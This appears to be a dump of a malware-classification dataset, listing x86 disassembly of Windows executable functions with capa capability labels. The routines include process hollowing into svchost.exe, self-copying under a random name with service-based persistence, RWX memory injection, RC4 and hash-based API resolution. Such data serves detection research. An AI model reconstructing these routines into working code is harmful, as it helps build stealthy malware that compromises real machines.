joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4022c0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x110
lea eax, [esp + 0xc]
push ebx
push esi
push edi
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x18]
push str.Nationalxkd
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0xf003f
push 0
push eax
push getpeername
call dword [0x408de8]
test eax, eax
je 0x402315
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
lea ecx, [esp + 0x18]
push 0x104
push ecx
mov dword [esp + 0x1c], 0x104
call dword [sym.imp.KERNEL32.dll_RtlZeroMemory]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push 0
push str.ImagePath
push ecx
call dword [0x408de4]
test eax, eax
je 0x402366
mov edx, dword [esp + 0x10]
push edx
call dword [0x408de0]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0x10]
push eax
call dword [0x408de0]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40238d
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x2c]
push closesocket
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4023ba
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x4023de
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x402400
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0xc]
push 0
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402432
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x120]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x402462
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push eax
push ebx
push 0
push 0x66
push 0xa
push esi
call ebp
mov edi, eax
test edi, edi
je 0x40249b
push str.Nationalxkd
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.Nationalxkd
push 0
push 0x65
push 0xa
push esi
call ebp
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
pop ebp
test eax, eax
push ebx
jne 0x4024bc
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x4028a0
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4061f0
push 0x405870
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x370
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x328]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x4029ec
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea ecx, [ebp - 0x380]
push ecx
call dword [0x408e14]
add esp, 0x20
push 0x40853c
lea edx, [ebp - 0x220]
push edx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
call edi
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x220]
push ecx
call edi
push esi
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x409290], 1
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x330], esi
mov dword [ebp - 0x32c], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [0x408ddc]
mov ebx, eax
mov dword [ebp - 0x32c], ebx
test ebx, ebx
je 0x402af0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x328]
push eax
push 0
push 2
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edi, dword [ebp + 8]
push edi
push ebx
call dword [0x408e08]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
jne 0x402a86
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x402a86
push 0xf01ff
push edi
push ebx
call dword [0x408dd8]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
je 0x402af0
push 0
push 0
push esi
call dword [0x408e04]
push 0
push 0
push esi
call dword [0x408e04]
test eax, eax
je 0x402af0
push str.SYSTEMCurrentControlSetServices_
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x11c]
push edx
push getpeername
call dword [0x408e00]
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push 1
push 0
push str.Description
mov eax, dword [ebp - 0x224]
push eax
call dword [0x408dfc]
mov dword [ebp - 4], 0xffffffff
call fcn.00402b19
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403180
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x4031a4
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40319d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x403230
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
add esp, 0x104
ret

Function at 0x404bb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404bce
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404c0f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x405110
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x138
push esi
mov esi, dword [esp + 0x140]
push edi
push 2
push 0
push esi
call sub.MSVCRT.dll_fseek
push esi
call sub.MSVCRT.dll_ftell
push 0
push 0
push esi
mov edi, eax
call sub.MSVCRT.dll_fseek
add esp, 0x1c
cmp edi, 0x40
jae 0x40514e
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push esi
push 1
lea eax, [esp + 0x28]
push 0x40
push eax
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp word [esp + 0x20], 0x5a4d
je 0x405174
pop edi
xor al, al
pop esi
add esp, 0x138
ret
mov eax, dword [esp + 0x5c]
lea ecx, [eax + 0x18]
cmp edi, ecx
jae 0x40518a
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push 0
push eax
push esi
call sub.MSVCRT.dll_fseek
push esi
push 1
lea edx, [esp + 0x1c]
push 0x18
push edx
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp word [esp + 0x1c], 0xe0
je 0x4051b9
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push ebx
push esi
push 1
lea eax, [esp + 0x6c]
push 0xe0
push eax
call sub.MSVCRT.dll_fread
mov eax, dword [esp + 0x22]
and eax, 0xffff
lea ecx, [eax + eax*4]
shl ecx, 3
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov eax, dword [esp + 0x26]
and eax, 0xffff
push esi
push 1
lea edx, [eax + eax*4]
shl edx, 3
push edx
push ebx
call sub.MSVCRT.dll_fread
mov edi, dword [esp + 0x170]
mov ecx, 0x10
lea esi, [esp + 0x48]
mov eax, dword [esp + 0x17c]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x174]
mov ecx, 6
lea esi, [esp + 0x30]
add esp, 0x24
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x154]
mov ecx, 0x38
lea esi, [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
mov dword [eax], ebx
pop ebx
pop edi
mov al, 1
pop esi
add esp, 0x138
ret
Function at 0x4052e0
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push 0
push 0
push ebp
call sub.MSVCRT.dll_fseek
mov ecx, dword [esp + 0x28]
mov ebx, dword [esp + 0x2c]
xor eax, eax
add esp, 0xc
mov ax, word [ecx + 6]
mov esi, dword [ebx + 0x3c]
test eax, eax
jle 0x40531f
mov edx, dword [esp + 0x24]
add edx, 0x14
mov ecx, dword [edx]
cmp ecx, esi
jae 0x405319
mov esi, ecx
add edx, 0x28
dec eax
jne 0x405311
mov edi, dword [esp + 0x28]
push ebp
push esi
push 1
push edi
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp eax, esi
je 0x40533b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
mov eax, dword [ebx + 0x20]
mov ecx, dword [ebx + 0x3c]
push eax
push ecx
call fcn.004052c0
mov edx, dword [esp + 0x24]
mov ebx, eax
add esp, 8
add ebx, edi
cmp word [edx + 6], 0
mov dword [esp + 0x14], 0
jbe 0x4053d3
mov eax, dword [esp + 0x24]
lea edi, [eax + 8]
mov esi, dword [edi + 8]
mov eax, dword [edi]
test esi, esi
jbe 0x4053a2
cmp esi, eax
jbe 0x405378
mov esi, eax
mov ecx, dword [edi + 0xc]
push 0
push ecx
push ebp
call sub.MSVCRT.dll_fseek
push ebp
push esi
push 1
push ebx
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp eax, esi
jne 0x405334
mov edx, dword [esp + 0x20]
mov ecx, dword [edi]
mov eax, dword [edx + 0x20]
push eax
push ecx
jmp 0x4053af
test eax, eax
je 0x4053b9
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 0x20]
push ecx
push eax
call fcn.004052c0
add esp, 8
add ebx, eax
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
xor edx, edx
inc eax
mov dx, word [ecx + 6]
add edi, 0x28
cmp eax, edx
mov dword [esp + 0x14], eax
jl 0x405369
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret

Function at 0x405460
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x60
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x20], 0
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x68]
lea eax, [esp + 0x20]
push edi
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push str.svchost.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40552b
push ebx
push ebp
push esi
mov esi, dword [esp + 0x78]
push esi
mov dword [esi], 0x10007
mov ecx, dword [edi + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [esi + 0xa4]
mov ebp, dword [esp + 0x7c]
mov ecx, dword [edi]
lea edx, [esp + 0x74]
push edx
push 4
add eax, 8
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp]
mov eax, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
lea edx, [esp + 0x10]
push 0x1c
push edx
push esi
push eax
call ebx
test eax, eax
je 0x405516
cmp dword [esp + 0x20], 0x10000
je 0x405516
mov ecx, dword [esp + 0x1c]
mov edx, dword [edi]
add esi, ecx
lea ecx, [esp + 0x10]
push 0x1c
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x4054f5
mov eax, dword [ebp]
sub esi, eax
mov eax, 1
mov dword [ebp + 4], esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x60
ret
xor eax, eax
pop edi
add esp, 0x60
ret
Function at 0x405570
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2ec
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
lea edx, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push ecx
push edx
call fcn.00405460
add esp, 0xc
test eax, eax
je 0x405754
mov ebp, dword [esp + 0x308]
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, dword [esp + 0x314]
mov ecx, dword [ebp + 0x1c]
mov dword [esp + 0x10], 0
cmp ecx, eax
jne 0x4055e2
mov ecx, dword [esp + 0x28]
cmp ebx, ecx
ja 0x4055e2
lea edx, [esp + 0x2c]
mov dword [esp + 0x10], eax
push edx
push 0x40
push ecx
push eax
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x405620
push str.ZwUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
push ecx
push edx
call eax
test eax, eax
jne 0x405620
mov eax, dword [ebp + 0x1c]
mov ecx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push eax
push ecx
call esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x310]
test eax, eax
jne 0x405688
push ebp
call fcn.00405540
add esp, 4
test eax, eax
je 0x40567c
mov edx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push 0
push edx
call esi
test eax, eax
mov dword [esp + 0x10], eax
je 0x405747
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
push eax
mov eax, dword [esp + 0x310]
push edi
push eax
push ebp
push ecx
push edx
call fcn.004053e0
add esp, 0x18
mov eax, dword [esp + 0x10]
test eax, eax
je 0x405747
mov edx, dword [esp + 0xd4]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
push 4
add edx, 8
push ecx
push edx
push eax
call esi
mov ecx, dword [esp + 0x300]
mov eax, dword [esp + 0x10]
push 0
push ebx
mov edx, dword [ecx + 0x3c]
push edi
mov dword [edx + edi + 0x34], eax
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ecx
push edx
call esi
test eax, eax
je 0x40572f
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
mov dword [esp + 0x30], 0x10007
jne 0x4056f7
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x1c]
add eax, ecx
mov dword [esp + 0xe0], eax
jmp 0x405703
mov ecx, dword [ebp + 0x10]
add ecx, eax
mov dword [esp + 0xe0], ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
Function at 0x405760
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x240
lea eax, [esp + 0x13c]
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x148]
push str.svchost.exe
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x405863
lea edx, [esp + 0x148]
push 0x408dcc
push edx
call sub.MSVCRT.dll_fopen
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x405863
lea eax, [esp + 0xc]
lea ecx, [esp + 0x68]
push eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x30]
push edx
push eax
push ebx
call fcn.00405110
add esp, 0x14
test al, al
je 0x40584b
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x68]
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.00405250
add esp, 0x10
mov edi, eax
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x405863
mov edx, dword [esp + 0xc]
push esi
lea eax, [esp + 0x6c]
push edx
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
push ebx
call fcn.004052e0
mov eax, dword [esp + 0x24]
push edi
push esi
lea ecx, [esp + 0x88]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x50]
push edx
push eax
call fcn.00405570
add esp, 0x30
push ebx
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x240
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x240
ret
Function at 0x41e080
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x41e0a2
movzx eax, word [esp]
jmp 0x41e0a4
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x41f0f4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x41f219
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.0041eefc
mov esi, eax
mov eax, dword [0x4ba6e0]
cmp byte [eax], 0
je 0x41f1c1
mov eax, dword [0x4ba544]
call fcn.00405820
call fcn.00405564
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x41f0c4]
call fcn.00409c00
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x41f234
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
jmp 0x41f1fd
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x4ba518]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4be634]
call fcn.00409ff0
push eax
call sub.user32.dll_LoadStringW
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41f220
lea eax, [ebp - 4]
mov edx, dword [0x41f0c4]
call fcn.00409d24
ret
Function at 0x401c89
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x22c
mov eax, dword [0x428040]
xor eax, esp
mov dword [esp + 0x228], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [esp + 0x28], ecx
mov ecx, ebx
push edi
mov dword [esp + 0x1c], edx
mov eax, ecx
mov byte [esp + ecx + 0x30], cl
cdq
idiv dword [ebp + 0xc]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x130], al
inc ecx
cmp ecx, 0x100
jl 0x401cb5
mov esi, ebx
mov edi, ebx
mov dl, byte [esp + esi + 0x30]
movzx eax, byte [esp + esi + 0x130]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401cf9
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x30]
mov byte [esp + esi + 0x30], al
inc esi
mov byte [esp + edi + 0x30], dl
cmp esi, 0x100
jl 0x401cd6
mov edi, ebx
mov dword [esp + 0x20], ebx
mov eax, ebx
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + 0x1c]
mov esi, 0x3e8
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], edi
mov dword [esp + 0x18], edi
cmp eax, edi
je 0x401d3e
mov dword [eax], ebx
add eax, 4
mov dword [esp + 0x14], eax
jmp 0x401d55
lea ecx, [esp + 0x1c]
push ecx
push eax
lea ecx, [esp + 0x18]
call fcn.004036a6
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
sub esi, 1
jne 0x401d2f
mov eax, dword [esp + 0x10]
xor ebx, ebx
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], ebx
cmp dword [eax], ebx
jle 0x401de2
mov edi, eax
inc ebx
and ebx, 0x800000ff
jns 0x401d7f
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, byte [esp + ebx + 0x30]
mov edx, dword [esp + 0x20]
movzx esi, cl
add edx, esi
and edx, 0x800000ff
jns 0x401d9c
dec edx
or edx, 0xffffff00
inc edx
mov al, byte [esp + edx + 0x30]
mov byte [esp + ebx + 0x30], al
mov dword [esp + 0x20], edx
mov byte [esp + edx + 0x30], cl
call fcn.00402b76
push eax
call fcn.00402d39
movzx eax, byte [esp + ebx + 0x34]
mov edx, dword [esp + 0x30]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x24]
movzx eax, al
mov al, byte [esp + eax + 0x30]
xor byte [edx + ecx], al
inc ecx
mov dword [esp + 0x24], ecx
cmp ecx, dword [edi]
jl 0x401d6e
mov edi, dword [esp + 0x28]
mov eax, dword [esp + 0x10]
sub edi, eax
and edi, 0xfffffffc
push edi
push eax
call fcn.004031ac
pop ecx
pop ecx
mov ecx, dword [esp + 0x234]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00406c76
mov esp, ebp
pop ebp
ret
Function at 0x401fd5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x428040]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
mov esi, dword [0x4770c0]
xor ecx, ecx
push edi
mov dword [esp + 0xc], ecx
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x40204a
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.0040299f
lea ecx, [esp + 0x14]
call fcn.00401e05
cmp eax, 0x8aafdc01
je 0x402061
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00402a2c
mov eax, dword [esp + 0xc]
inc eax
mov dword [esp + 0xc], eax
cmp eax, dword [esp + 0x10]
jb 0x402011
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00406c76
mov esp, ebp
pop ebp
ret
mov edx, str.QwruxAA
call fcn.00402d6b
push eax
call fcn.00402fed
mov eax, dword [ebx + 0x24]
pop ecx
mov ecx, dword [esp + 0xc]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00402a2c
jmp 0x40204c